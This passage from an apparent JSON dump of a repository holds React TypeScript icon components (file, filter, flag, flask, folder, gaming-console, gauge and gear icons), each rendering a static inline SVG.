d=\"M2.75,14.25V3.75c0-1.105,.895-2,2-2h5.586c.265,0,.52,.105,.707,.293l3.914,3.914c.188,.188,.293,.442,.293,.707v7.586c0,1.105-.895,2-2,2H4.75c-1.105,0-2-.895-2-2Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M15.16,6.25h-3.41c-.552,0-1-.448-1-1V1.852\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/file-zip2.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function FileZip2(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M2.75,14.25V3.75c0-1.105,.895-2,2-2h5.586c.265,0,.52,.105,.707,.293l3.914,3.914c.188,.188,.293,.442,.293,.707v7.586c0,1.105-.895,2-2,2H4.75c-1.105,0-2-.895-2-2Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M15.16,6.25h-3.41c-.552,0-1-.448-1-1V1.852\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <rect\n          height=\"1.5\"\n          width=\"2\"\n          fill=\"currentColor\"\n          stroke=\"none\"\n          x=\"5\"\n          y=\"9.5\"\n        />\n        <rect\n          height=\"1.5\"\n          width=\"2\"\n          fill=\"currentColor\"\n          stroke=\"none\"\n          x=\"7\"\n          y=\"11\"\n        />\n        <rect\n          height=\"1.5\"\n          width=\"2\"\n          fill=\"currentColor\"\n          stroke=\"none\"\n          x=\"5\"\n          y=\"12.5\"\n        />\n        <rect\n          height=\"1.5\"\n          width=\"2\"\n          fill=\"currentColor\"\n          stroke=\"none\"\n          x=\"7\"\n          y=\"14\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/filter-bars.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function FilterBars(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M5.25 9H12.75\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M2.75 4.25H15.25\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M8 13.75H10\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/filter2.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Filter2(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M10.5,16.25h-3v-7.25L3.106,5.3c-.226-.19-.356-.47-.356-.765v-1.785H15.25v1.785c0,.295-.13,.575-.356,.765l-4.394,3.7v7.25Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/flag-wavy.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function FlagWavy(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M3.75,3.25h7.5c.552,0,1,.448,1,1v5H3.75\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M12.25,5.75h2c.552,0,1,.448,1,1v4c0,.552-.448,1-1,1h-3.5c-.552,0-1-.448-1-1v-1.5\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"10.043\"\n          x2=\"12.25\"\n          y1=\"11.457\"\n          y2=\"9.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"3.75\"\n          x2=\"3.75\"\n          y1=\"1.75\"\n          y2=\"16.25\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/flag.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Flag(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      width=\"14\"\n      height=\"14\"\n      viewBox=\"0 0 14 14\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <path\n        d=\"M11.3541 2.00349C11.162 1.90316 10.9302 1.91793 10.7505 2.0416C9.97276 2.58216 9.25098 2.80693 8.62098 2.70971C8.10921 2.63116 7.75843 2.36438 7.35243 2.0556C6.88732 1.70171 6.36154 1.30116 5.55809 1.17827C4.77721 1.05771 3.95587 1.25371 3.11121 1.7266V8.15182C3.15787 8.13471 3.20843 8.13238 3.25043 8.1036C4.02743 7.56305 4.74609 7.33749 5.37998 7.43549C5.89021 7.51405 6.24021 7.78005 6.64543 8.08805C7.11054 8.44193 7.63787 8.84327 8.44365 8.96616C8.59998 8.99027 8.75787 9.00193 8.91809 9.00193C9.71843 9.00193 10.5569 8.70016 11.4171 8.10282C11.5734 7.99393 11.6668 7.81505 11.6668 7.62371V2.52071C11.6668 2.30371 11.5462 2.10382 11.3541 2.00349Z\"\n        fill=\"currentColor\"\n      />\n      <path\n        d=\"M2.91671 13.0282C2.59471 13.0282 2.33337 12.7669 2.33337 12.4449V1.55599C2.33337 1.23399 2.59471 0.972656 2.91671 0.972656C3.23871 0.972656 3.50004 1.23399 3.50004 1.55599V12.4449C3.50004 12.7669 3.23871 13.0282 2.91671 13.0282Z\"\n        fill=\"currentColor\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/flag2.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Flag2(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg viewBox=\"0 0 18 18\" xmlns=\"http://www.w3.org/2000/svg\" {...props}>\n      <g fill=\"currentColor\">\n        <path\n          d=\"M3.75,3.25H13.25c.552,0,1,.448,1,1v5c0,.552-.448,1-1,1H3.75\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"3.75\"\n          x2=\"3.75\"\n          y1=\"1.75\"\n          y2=\"16.25\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/flag6.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Flag6(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M3.75,3c1.784-.232,3.073,.092,4.021,.625,1.641,.922,1.87,2.249,3.5,3.125,1.254,.674,2.66,.719,3.979,.5-2.075,2.554-3.703,3.051-4.833,3-1.433-.064-2.359-1.021-4.125-.792-1.13,.147-1.995,.701-2.542,1.135\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"3.75\"\n          x2=\"3.75\"\n          y1=\"1.75\"\n          y2=\"16.25\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/flask-small.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function FlaskSmall(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"12\"\n      width=\"12\"\n      viewBox=\"0 0 12 12\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"m4.25.75v5.25l-2.464,3.695c-.443.665.033,1.555.832,1.555h6.763c.799,0,1.275-.89.832-1.555l-2.464-3.695V.75\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"3.25\"\n          x2=\"8.75\"\n          y1=\".75\"\n          y2=\".75\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/flask.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Flask(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"5.068\"\n          x2=\"12.932\"\n          y1=\"11.25\"\n          y2=\"11.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"5.75\"\n          x2=\"12.25\"\n          y1=\"1.75\"\n          y2=\"1.75\"\n        />\n        <path\n          d=\"M7.25,1.75V7l-3.628,7.065c-.513,.998,.212,2.185,1.334,2.185H13.044c1.122,0,1.847-1.187,1.334-2.185l-3.628-7.065V1.75\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/folder-bookmark.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function FolderBookmark(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"16\"\n      height=\"16\"\n      fill=\"none\"\n      viewBox=\"0 0 16 16\"\n      className={props.className}\n    >\n      <g clipPath=\"url(#clip0_430_4502)\">\n        <g\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        >\n          <path d=\"M2 7.778V4.222c0-.982.796-1.778 1.778-1.778h1.734c.54 0 1.049.245 1.387.665l.536.669h4.787c.982 0 1.778.795 1.778 1.778v1.777\"></path>\n          <path d=\"M13.937 7.333A1.773 1.773 0 0012.222 6H3.778C2.796 6 2 6.796 2 7.778v4c0 .981.796 1.778 1.778 1.778H9.11\"></path>\n          <path d=\"M15.333 15.333l-2-2-2 2v-4.889a.89.89 0 01.89-.888h2.221a.89.89 0 01.89.888v4.89z\"></path>\n        </g>\n      </g>\n      <defs>\n        <clipPath id=\"clip0_430_4502\">\n          <path fill=\"#fff\" d=\"M0 0H16V16H0z\"></path>\n        </clipPath>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/folder-lock.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function FolderLock(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"17\"\n      height=\"16\"\n      fill=\"none\"\n      viewBox=\"0 0 17 16\"\n      {...props}\n    >\n      <g clipPath=\"url(#clip0_714_1369)\">\n        <g\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        >\n          <path d=\"M2.333 7.778V4.222c0-.982.796-1.778 1.778-1.778h1.734c.54 0 1.05.245 1.387.665l.536.669h4.788c.982 0 1.777.795 1.777 1.778v2.032\"></path>\n          <path d=\"M14.778 12.222h-3.556a.889.889 0 00-.889.89v1.332c0 .491.398.89.89.89h3.555c.49 0 .889-.399.889-.89v-1.333a.889.889 0 00-.89-.889z\"></path>\n          <path d=\"M14.315 7.588A1.772 1.772 0 0012.555 6H4.112c-.982 0-1.778.796-1.778 1.778v4c0 .981.796 1.778 1.778 1.778h4\"></path>\n          <path d=\"M11.667 12.222V10.89a1.334 1.334 0 012.666 0v1.333\"></path>\n        </g>\n      </g>\n      <defs>\n        <clipPath id=\"clip0_714_1369\">\n          <path\n            fill=\"#fff\"\n            d=\"M0 0H16V16H0z\"\n            transform=\"translate(.333)\"\n          ></path>\n        </clipPath>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/folder-plus.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function FolderPlus(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"16\"\n      height=\"16\"\n      fill=\"none\"\n      viewBox=\"0 0 16 16\"\n      {...props}\n    >\n      <g clipPath=\"url(#clip0_791_85)\">\n        <g\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        >\n          <path d=\"M2 7.778V4.222c0-.982.796-1.778 1.778-1.778h1.734c.54 0 1.049.245 1.387.665l.536.669h4.787c.982 0 1.778.795 1.778 1.777v2.528\"></path>\n          <path d=\"M13.111 10.889v4.444\"></path>\n          <path d=\"M14 8.854V7.778C14 6.796 13.204 6 12.222 6H3.778C2.796 6 2 6.796 2 7.778v4c0 .981.796 1.778 1.778 1.778H8.71\"></path>\n          <path d=\"M15.333 13.111H10.89\"></path>\n        </g>\n      </g>\n      <defs>\n        <clipPath id=\"clip0_791_85\">\n          <path fill=\"#fff\" d=\"M0 0H16V16H0z\"></path>\n        </clipPath>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/folder-shield.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function FolderShield(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"17\"\n      height=\"16\"\n      fill=\"none\"\n      viewBox=\"0 0 17 16\"\n      {...props}\n    >\n      <g clipPath=\"url(#clip0_563_3026)\">\n        <g\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        >\n          <path d=\"M2.667 7.778V4.222c0-.982.795-1.778 1.777-1.778H6.18c.54 0 1.049.245 1.386.665l.536.669h4.788c.982 0 1.778.795 1.778 1.778v2.056\"></path>\n          <path d=\"M14.65 7.612A1.77 1.77 0 0012.889 6H4.444c-.982 0-1.777.796-1.777 1.778v4c0 .981.795 1.778 1.777 1.778h4.477\"></path>\n          <path d=\"M13.556 9.556L16 10.666v2.614c0 1.369-2.444 2.053-2.444 2.053s-2.445-.684-2.445-2.053v-2.613l2.444-1.111z\"></path>\n        </g>\n      </g>\n      <defs>\n        <clipPath id=\"clip0_563_3026\">\n          <path\n            fill=\"#fff\"\n            d=\"M0 0H16V16H0z\"\n            transform=\"translate(.667)\"\n          ></path>\n        </clipPath>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/folder.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Folder(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M2.25,8.75V4.75c0-1.105,.895-2,2-2h1.951c.607,0,1.18,.275,1.56,.748l.603,.752h5.386c1.105,0,2,.895,2,2v2.844\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M4.25,6.75H13.75c1.105,0,2,.895,2,2v4.5c0,1.105-.895,2-2,2H4.25c-1.105,0-2-.895-2-2v-4.5c0-1.105,.895-2,2-2Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/folder5.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Folder5(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M1.75,7.75V3.75c0-.552,.448-1,1-1h3.797c.288,0,.563,.125,.753,.342l2.325,2.658\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <rect\n          height=\"9.5\"\n          width=\"14.5\"\n          fill=\"none\"\n          rx=\"2\"\n          ry=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"1.75\"\n          y=\"5.75\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/gaming-console.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function GamingConsole(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle cx=\"10.25\" cy=\"7.5\" fill=\"currentColor\" r=\".75\" stroke=\"none\" />\n        <circle cx=\"13.25\" cy=\"7.5\" fill=\"currentColor\" r=\".75\" stroke=\"none\" />\n        <circle\n          cx=\"11.75\"\n          cy=\"6.25\"\n          fill=\"currentColor\"\n          r=\".75\"\n          stroke=\"none\"\n        />\n        <circle\n          cx=\"11.75\"\n          cy=\"8.75\"\n          fill=\"currentColor\"\n          r=\".75\"\n          stroke=\"none\"\n        />\n        <circle cx=\"6\" cy=\"7.5\" fill=\"currentColor\" r=\"1\" stroke=\"none\" />\n        <path\n          d=\"M9,11.25h2.752c.533,0,1.044,.213,1.419,.591l2.392,2.409s1.745-.34,1.388-2.915-2.07-6.538-2.07-6.538c-.429-.867-1.022-1.047-3.231-1.047h-2.651s-2.651,0-2.651,0c-2.209,0-2.802,.179-3.231,1.047,0,0-1.714,3.963-2.07,6.538s1.388,2.915,1.388,2.915l2.392-2.409c.375-.378,.886-.591,1.419-.591h2.752Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/gauge6.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Gauge6(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle cx=\"9\" cy=\"4.75\" fill=\"currentColor\" r=\".75\" stroke=\"none\" />\n        <circle\n          cx=\"12.005\"\n          cy=\"5.995\"\n          fill=\"currentColor\"\n          r=\".75\"\n          stroke=\"none\"\n        />\n        <circle cx=\"13.25\" cy=\"9\" fill=\"currentColor\" r=\".75\" stroke=\"none\" />\n        <circle\n          cx=\"5.995\"\n          cy=\"5.995\"\n          fill=\"currentColor\"\n          r=\".75\"\n          stroke=\"none\"\n        />\n        <path\n          d=\"M4.75,9.75c.414,0,.75-.336,.75-.75s-.336-.75-.75-.75-.75,.336-.75,.75,.336,.75,.75,.75Z\"\n          fill=\"currentColor\"\n          stroke=\"none\"\n        />\n        <path\n          d=\"M12.968,15.063c1.975-1.295,3.282-3.525,3.282-6.063,0-4.004-3.246-7.25-7.25-7.25S1.75,4.996,1.75,9c0,2.538,1.307,4.768,3.282,6.063\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M7.5,14.75c0-.828,1.5-7,1.5-7,0,0,1.5,6.172,1.5,7s-.672,1.5-1.5,1.5-1.5-.672-1.5-1.5Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/gear.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Gear(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle\n          cx=\"9\"\n          cy=\"9\"\n          fill=\"none\"\n          r=\"2.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M16.25,9.355v-.71c0-.51-.383-.938-.89-.994l-1.094-.122-.503-1.214,.688-.859c.318-.398,.287-.971-.074-1.332l-.502-.502c-.36-.36-.934-.392-1.332-.074l-.859,.688-1.214-.503-.122-1.094c-.056-.506-.484-.89-.994-.89h-.71c-.51,0-.938,.383-.994,.89l-.122,1.094-1.214,.503-.859-.687c-.398-.318-.971-.287-1.332,.074l-.502,.502c-.36,.36-.392,.934-.074,1.332l.688,.859-.503,1.214-1.094,.122c-.506,.056-.89,.484-.89,.994v.71c0,.51,.383,.938,.89,.994l1.094,.122,.503,1.214-.687,.859c-.318,.398-.287,.972,.074,1.332l.502,.502c.36,.36,.934,.392,1.332,.074l.859-.688,1.214,.503,.122,1.094c.056,.506,.484,.89,.994,.89h.71c.51,0,.938-.383,.994-.89l.122-1.094,1.214-.503,.859,.688c.398,.318,.971,.287,1.332-.074l.502-.502c.36-.36,.392-.934,.074-1.332l-.687-.859,.503-1.214,1.094-.122c.506-.056,.89-.484,.89-.994Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/gear2.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Gear2(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg viewBox=\"0 0 18 18\" xmlns=\"http://www.w3.org/2000/svg\" {...props}>\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"6.25\"\n          x2=\"9\"\n          y1=\"4.237\"\n          y2=\"9\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"6.25\"\n          x2=\"9\"\n          y1=\"13.764\"\n          y2=\"9\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"14.5\"\n          x2=\"9\"\n          y1=\"9\"\n          y2=\"9\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"9\"\n          x2=\"9\"\n          y1=\"1.75\"\n          y2=\"3.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"2.721\"\n          x2=\"4.237\"\n          y1=\"5.375\"\n          y2=\"6.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"1.75\"\n          x2=\"3.5\"\n          y1=\"9\"\n          y2=\"9\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"16.25\"\n          x2=\"14.5\"\n          y1=\"9\"\n          y2=\"9\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"2.721\"\n          x2=\"4.237\"\n          y1=\"12.625\"\n          y2=\"11.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"9\"\n          x2=\"9\"\n          y1=\"16.25\"\n          y2=\"14.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"12.625\"\n          x2=\"11.75\"\n          y1=\"15.279\"\n          y2=\"13.763\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"5.375\"\n          x2=\"6.25\"\n          y1=\"15.279\"\n          y2=\"13.763\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"15.279\"\n          x2=\"13.763\"\n          y1=\"12.625\"\n          y2=\"11.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"15.279\"\n          x2=\"13.763\"\n          y1=\"5.375\"\n          y2=\"6.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"12.625\"\n          x2=\"11.75\"\n          y1=\"2.721\"\n          y2=\"4.237\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"5.375\"\n          x2=\"6.25\"\n          y1=\"2.721\"\n          y2=\"4.237\"\n        />\n        <circle\n          cx=\"9\"\n          cy=\"9\"\n          fill=\"none\"\n          r=\"5.5\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/gear3.tsx",
